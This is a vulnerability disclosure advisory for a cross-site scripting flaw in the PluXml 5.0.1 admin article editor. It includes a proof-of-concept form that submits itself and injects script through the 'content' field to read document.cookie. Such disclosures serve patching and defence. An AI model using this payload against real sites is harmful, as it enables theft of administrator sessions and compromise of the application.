XSS vulnerability in PluXml

Vulnerability ID: HTB22632
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pluxml_1.html
Product: PluXml
Vendor: PluXml Team ( http://pluxml.org/ )
Vulnerable Version: 5.0.1 and probably prior versions
Vendor Notification: 29 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/core/admin/article.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/core/admin/article.php&quot; method="post" name="main" >

<input type="hidden" name="artId" value="0001">
<input type="hidden" name="title" value="article title">
<input type="hidden" name="author" value="001">
<input type="hidden" name="chapo" value="">
<input type="hidden" name="content" value='page html content"><script>alert(document.cookie)</script>'>
<input type="hidden" name="day" value="23">
<input type="hidden" name="month" value="09">
<input type="hidden" name="year" value="2010">
<input type="hidden" name="time" value="15:45">
<input type="hidden" name="catId[]" value="001">
<input type="hidden" name="new_catid" value="002">
<input type="hidden" name="new_catname" value="">
<input type="hidden" name="tags" value="PluXml">
<input type="hidden" name="allow_com" value="1">
<input type="hidden" name="url" value="article-page-url">
<input type="hidden" name="template" value="article.php">
<input type="hidden" name="preview" value="Aper&ccedil;u">
</form>
<script>
document.main.submit();
</script>